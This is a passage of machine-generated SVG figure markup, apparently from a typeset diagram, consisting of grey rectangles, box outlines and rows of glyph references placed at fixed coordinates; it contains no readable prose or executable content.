<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 158.7385 0.0006875 L 158.7385 28.348344 L 164.410375 28.348344 L 164.410375 0.0006875 Z M 158.7385 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 164.410375 0.0006875 L 164.410375 28.348344 L 170.078344 28.348344 L 170.078344 0.0006875 Z M 164.410375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.078344 0.0006875 L 170.078344 28.348344 L 175.746312 28.348344 L 175.746312 0.0006875 Z M 170.078344 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 175.746312 0.0006875 L 175.746312 28.348344 L 181.418187 28.348344 L 181.418187 0.0006875 Z M 175.746312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="5.556" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="10.537" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="16.231" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="21.213" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="27.16665" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="33.110337" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="39.063987" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="45.012" y="109.408"/>
  <use xlink:href="#glyph0-2" x="49.9933" y="109.408"/>
  <use xlink:href="#glyph0-1" x="54.9746" y="109.408"/>
  <use xlink:href="#glyph0-1" x="59.9559" y="109.408"/>
  <use xlink:href="#glyph0-1" x="64.9372" y="109.408"/>
  <use xlink:href="#glyph0-3" x="69.9185" y="109.408"/>
  <use xlink:href="#glyph0-1" x="74.8998" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="96.263" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="101.245" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="106.939" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="111.92" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="117.87365" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="123.817337" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="129.770987" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="135.72" y="109.408"/>
  <use xlink:href="#glyph0-2" x="140.7013" y="109.408"/>
  <use xlink:href="#glyph0-1" x="145.6826" y="109.408"/>
  <use xlink:href="#glyph0-1" x="150.6639" y="109.408"/>
  <use xlink:href="#glyph0-1" x="155.6452" y="109.408"/>
  <use xlink:href="#glyph0-4" x="160.6265" y="109.408"/>
  <use xlink:href="#glyph0-1" x="165.6078" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="186.97" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="191.952" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="197.646" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="202.627" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="208.58065" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="214.524337" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="220.477987" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="226.427" y="109.408"/>
  <use xlink:href="#glyph0-2" x="231.4083" y="109.408"/>
  <use xlink:href="#glyph0-1" x="236.3896" y="109.408"/>
  <use xlink:href="#glyph0-1" x="241.3709" y="109.408"/>
  <use xlink:href="#glyph0-1" x="246.3522" y="109.408"/>
  <use xlink:href="#glyph0-5" x="251.3335" y="109.408"/>
  <use xlink:href="#glyph0-1" x="256.3148" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="277.678" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="282.659" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="288.353" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="293.334" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="299.28765" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="305.231337" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="311.184987" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="317.134" y="109.408"/>
  <use xlink:href="#glyph0-2" x="322.1153" y="109.408"/>
  <use xlink:href="#glyph0-1" x="327.0966" y="109.408"/>
  <use xlink:href="#glyph0-1" x="332.0779" y="109.408"/>
  <use xlink:href="#glyph0-1" x="337.0592" y="109.408"/>
  <use xlink:href="#glyph0-6" x="342.0405" y="109.408"/>
  <use xlink:href="#glyph0-1" x="347.0218" y="109.408"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-7" x="7.672" y="137.755"/>
  <use xlink:href="#glyph0-8" x="11.546455" y="137.755"/>
  <use xlink:href="#glyph0-9" x="16.527755" y="137.755"/>
  <use xlink:href="#glyph0-10" x="22.062976" y="137.755"/>
  <use xlink:href="#glyph0-11" x="27.598196" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-12" x="34.790197" y="137.755"/>
  <use xlink:href="#glyph0-13" x="40.048457" y="137.755"/>
  <use xlink:href="#glyph0-6" x="45.029757" y="137.755"/>
  <use xlink:href="#glyph0-4" x="50.011057" y="137.755"/>
  <use xlink:href="#glyph0-12" x="54.992357" y="137.755"/>
  <use xlink:href="#glyph0-8" x="60.250618" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="68.559426" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="73.536" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="79.23" y="137.755"/>
  <use xlink:href="#glyph0-1" x="84.2113" y="137.755"/>
  <use xlink:href="#glyph0-1" x="89.1926" y="137.755"/>
  <use xlink:href="#glyph0-1" x="94.1739" y="137.755"/>
  <use xlink:href="#glyph0-2" x="99.1552" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="104.136" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="110.08965" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="116.033337" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="121.986987" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="127.936" y="137.755"/>
  <use xlink:href="#glyph0-2" x="132.9173" y="137.755"/>
  <use xlink:href="#glyph0-1" x="137.8986" y="137.755"/>
  <use xlink:href="#glyph0-1" x="142.8799" y="137.755"/>
  <use xlink:href="#glyph0-1" x="147.8612" y="137.755"/>
  <use xlink:href="#glyph0-3" x="152.8425" y="137.755"/>
  <use xlink:href="#glyph0-1" x="157.8238" y="137.755"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="59.482" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="64.463" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="70.157" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="75.138" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="81.09165" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="87.035337" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="92.988987" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="98.938" y="151.928"/>
  <use xlink:href="#glyph0-2" x="103.9193" y="151.928"/>
  <use xlink:href="#glyph0-1" x="108.9006" y="151.928"/>
  <use xlink:href="#glyph0-1" x="113.8819" y="151.928"/>
  <use xlink:href="#glyph0-1" x="118.8632" y="151.928"/>
  <use xlink:href="#glyph0-3" x="123.8445" y="151.928"/>
  <use xlink:href="#glyph0-1" x="128.8258" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-14" x="136.576703" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="175.635" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="180.616" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="186.31" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="191.291" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="197.24465" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="203.188337" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="209.141987" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="215.091" y="151.928"/>
  <use xlink:href="#glyph0-2" x="220.0723" y="151.928"/>
  <use xlink:href="#glyph0-1" x="225.0536" y="151.928"/>
  <use xlink:href="#glyph0-1" x="230.0349" y="151.928"/>
  <use xlink:href="#glyph0-1" x="235.0162" y="151.928"/>
  <use xlink:href="#glyph0-5" x="239.9975" y="151.928"/>
  <use xlink:href="#glyph0-1" x="244.9788" y="151.928"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="266.822" y="152.647"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="271.803" y="152.647"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="277.497" y="152.647"/>
  <use xlink:href="#glyph0-1" x="282.4783" y="152.647"/>
  <use xlink:href="#glyph0-1" x="287.4596" y="152.647"/>
  <use xlink:href="#glyph0-1" x="292.4409" y="152.647"/>
  <use xlink:href="#glyph0-1" x="297.4222" y="152.647"/>
  <use xlink:href="#glyph0-1" x="302.4035" y="152.647"/>
  <use xlink:href="#glyph0-1" x="307.3848" y="152.647"/>
  <use xlink:href="#glyph0-1" x="312.3661" y="152.647"/>
  <use xlink:href="#glyph0-1" x="317.3474" y="152.647"/>
  <use xlink:href="#glyph0-1" x="322.3287" y="152.647"/>
  <use xlink:href="#glyph0-1" x="327.31" y="152.647"/>
  <use xlink:href="#glyph0-1" x="332.2913" y="152.647"/>
  <use xlink:href="#glyph0-1" x="337.2726" y="152.647"/>
  <use xlink:href="#glyph0-1" x="342.2539" y="152.647"/>
  <use xlink:href="#glyph0-1" x="347.2352" y="152.647"/>
  <use xlink:href="#glyph0-1" x="352.2165" y="152.647"/>
</g>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -63.780563 L 170.08225 -77.952438 L 255.121312 -77.952438 L 255.121312 -63.780563 Z M 170.08225 -63.780563 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<g clip-path="url(#clip1)" clip-rule="nonzero">
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -63.780563 L 255.121312 -77.952438 L 368.508031 -77.952438 L 368.508031 -63.780563 Z M 255.121312 -63.780563 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="59.482" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="64.463" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="70.157" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="75.138" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="81.09165" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="87.035337" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="92.988987" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="98.938" y="180.274"/>
  <use xlink:href="#glyph0-2" x="103.9193" y="180.274"/>
  <use xlink:href="#glyph0-1" x="108.9006" y="180.274"/>
  <use xlink:href="#glyph0-1" x="113.8819" y="180.274"/>
  <use xlink:href="#glyph0-1" x="118.8632" y="180.274"/>
  <use xlink:href="#glyph0-4" x="123.8445" y="180.274"/>
  <use xlink:href="#glyph0-1" x="128.8258" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-14" x="136.576703" y="180.274"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="177.925" y="181.243"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="182.906" y="181.243"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="188.6" y="181.243"/>
  <use xlink:href="#glyph0-15" x="193.5813" y="181.243"/>
  <use xlink:href="#glyph0-6" x="198.5626" y="181.243"/>
  <use xlink:href="#glyph0-5" x="203.5439" y="181.243"/>
  <use xlink:href="#glyph0-6" x="208.5252" y="181.243"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-3" x="213.507" y="181.243"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-6" x="217.782" y="181.243"/>
  <use xlink:href="#glyph0-3" x="222.7633" y="181.243"/>
  <use xlink:href="#glyph0-2" x="227.7446" y="181.243"/>
  <use xlink:href="#glyph0-5" x="232.7259" y="181.243"/>
  <use xlink:href="#glyph0-6" x="237.7072" y="181.243"/>
  <use xlink:href="#glyph0-6" x="242.6885" y="181.243"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="266.822" y="180.994"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="271.803" y="180.994"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="277.497" y="180.994"/>
  <use xlink:href="#glyph0-1" x="282.4783" y="180.994"/>
  <use xlink:href="#glyph0-1" x="287.4596" y="180.994"/>
  <use xlink:href="#glyph0-1" x="292.4409" y="180.994"/>
  <use xlink:href="#glyph0-1" x="297.4222" y="180.994"/>
  <use xlink:href="#glyph0-1" x="302.4035" y="180.994"/>
  <use xlink:href="#glyph0-1" x="307.3848" y="180.994"/>
  <use xlink:href="#glyph0-1" x="312.3661" y="180.994"/>
  <use xlink:href="#glyph0-1" x="317.3474" y="180.994"/>
  <use xlink:href="#glyph0-1" x="322.3287" y="180.994"/>
  <use xlink:href="#glyph0-1" x="327.31" y="180.994"/>
  <use xlink:href="#glyph0-1" x="332.2913" y="180.994"/>
  <use xlink:href="#glyph0-1" x="337.2726" y="180.994"/>
  <use xlink:href="#glyph0-1" x="342.2539" y="180.994"/>
  <use xlink:href="#glyph0-1" x="347.2352" y="180.994"/>
  <use xlink:href="#glyph0-1" x="352.2165" y="180.994"/>
</g>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -92.128219 L 170.08225 -106.300094 L 255.121312 -106.300094 L 255.121312 -92.128219 Z M 170.08225 -92.128219 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<g clip-path="url(#clip2)" clip-rule="nonzero">
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -92.128219 L 255.121312 -106.300094 L 368.508031 -106.300094 L 368.508031 -92.128219 Z M 255.121312 -92.128219 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="59.482" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="64.463" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="70.157" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="75.138" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="81.09165" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="87.035337" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="92.988987" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="98.938" y="208.621"/>
  <use xlink:href="#glyph0-2" x="103.9193" y="208.621"/>
  <use xlink:href="#glyph0-1" x="108.9006" y="208.621"/>
  <use xlink:href="#glyph0-1" x="113.8819" y="208.621"/>
  <use xlink:href="#glyph0-1" x="118.8632" y="208.621"/>
  <use xlink:href="#glyph0-5" x="123.8445" y="208.621"/>
  <use xlink:href="#glyph0-1" x="128.8258" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-14" x="136.576703" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="175.635" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="180.616" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="186.31" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="191.291" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="197.24465" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="203.188337" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="209.141987" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="215.091" y="208.621"/>
  <use xlink:href="#glyph0-2" x="220.0723" y="208.621"/>
  <use xlink:href="#glyph0-1" x="225.0536" y="208.621"/>
  <use xlink:href="#glyph0-1" x="230.0349" y="208.621"/>
  <use xlink:href="#glyph0-1" x="235.0162" y="208.621"/>
  <use xlink:href="#glyph0-6" x="239.9975" y="208.621"/>
  <use xlink:href="#glyph0-1" x="244.9788" y="208.621"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="266.822" y="209.34"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="271.803" y="209.34"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="277.497" y="209.34"/>
  <use xlink:href="#glyph0-1" x="282.4783" y="209.34"/>
  <use xlink:href="#glyph0-1" x="287.4596" y="209.34"/>
  <use xlink:href="#glyph0-1" x="292.4409" y="209.34"/>
  <use xlink:href="#glyph0-1" x="297.4222" y="209.34"/>
  <use xlink:href="#glyph0-1" x="302.4035" y="209.34"/>
  <use xlink:href="#glyph0-1" x="307.3848" y="209.34"/>
  <use xlink:href="#glyph0-1" x="312.3661" y="209.34"/>
  <use xlink:href="#glyph0-1" x="317.3474" y="209.34"/>
  <use xlink:href="#glyph0-1" x="322.3287" y="209.34"/>
  <use xlink:href="#glyph0-1" x="327.31" y="209.34"/>
  <use xlink:href="#glyph0-1" x="332.2913" y="209.34"/>
  <use xlink:href="#glyph0-1" x="337.2726" y="209.34"/>
  <use xlink:href="#glyph0-1" x="342.2539" y="209.34"/>
  <use xlink:href="#glyph0-1" x="347.2352" y="209.34"/>
  <use xlink:href="#glyph0-1" x="352.2165" y="209.34"/>
</g>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -120.471969 L 170.08225 -134.64775 L 255.121312 -134.64775 L 255.121312 -120.471969 Z M 170.08225 -120.471969 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<g clip-path="url(#clip3)" clip-rule="nonzero">
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -120.471969 L 255.121312 -134.64775 L 368.508031 -134.64775 L 368.508031 -120.471969 Z M 255.121312 -120.471969 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="59.482" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="64.463" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="70.157" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="75.138" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="81.09165" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="87.035337" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="92.988987" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="98.938" y="236.967"/>
  <use xlink:href="#glyph0-2" x="103.9193" y="236.967"/>
  <use xlink:href="#glyph0-1" x="108.9006" y="236.967"/>
  <use xlink:href="#glyph0-1" x="113.8819" y="236.967"/>
  <use xlink:href="#glyph0-1" x="118.8632" y="236.967"/>
  <use xlink:href="#glyph0-6" x="123.8445" y="236.967"/>
  <use xlink:href="#glyph0-1" x="128.8258" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-14" x="136.576703" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="175.635" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="180.616" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="186.31" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="191.291" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="197.24465" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="203.188337" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-2" x="209.141987" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-2" x="215.091" y="236.967"/>
  <use xlink:href="#glyph0-2" x="220.0723" y="236.967"/>
  <use xlink:href="#glyph0-1" x="225.0536" y="236.967"/>
  <use xlink:href="#glyph0-1" x="230.0349" y="236.967"/>
  <use xlink:href="#glyph0-1" x="235.0162" y="236.967"/>
  <use xlink:href="#glyph0-2" x="239.9975" y="236.967"/>
  <use xlink:href="#glyph0-1" x="244.9788" y="236.967"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="266.822" y="237.687"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph1-1" x="271.803" y="237.687"/>
</g>
<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="277.497" y="237.687"/>
  <use xlink:href="#glyph0-1" x="282.4783" y="237.687"/>
  <use xlink:href="#glyph0-1" x="287.4596" y="237.687"/>
  <use xlink:href="#glyph0-1" x="292.4409" y="237.687"/>
  <use xlink:href="#glyph0-1" x="297.4222" y="237.687"/>
  <use xlink:href="#glyph0-1" x="302.4035" y="237.687"/>
  <use xlink:href="#glyph0-1" x="307.3848" y="237.687"/>
  <use xlink:href="#glyph0-1" x="312.3661" y="237.687"/>
  <use xlink:href="#glyph0-1" x="317.3474" y="237.687"/>
  <use xlink:href="#glyph0-1" x="322.3287" y="237.687"/>
  <use xlink:href="#glyph0-1" x="327.31" y="237.687"/>
  <use xlink:href="#glyph0-1" x="332.2913" y="237.687"/>
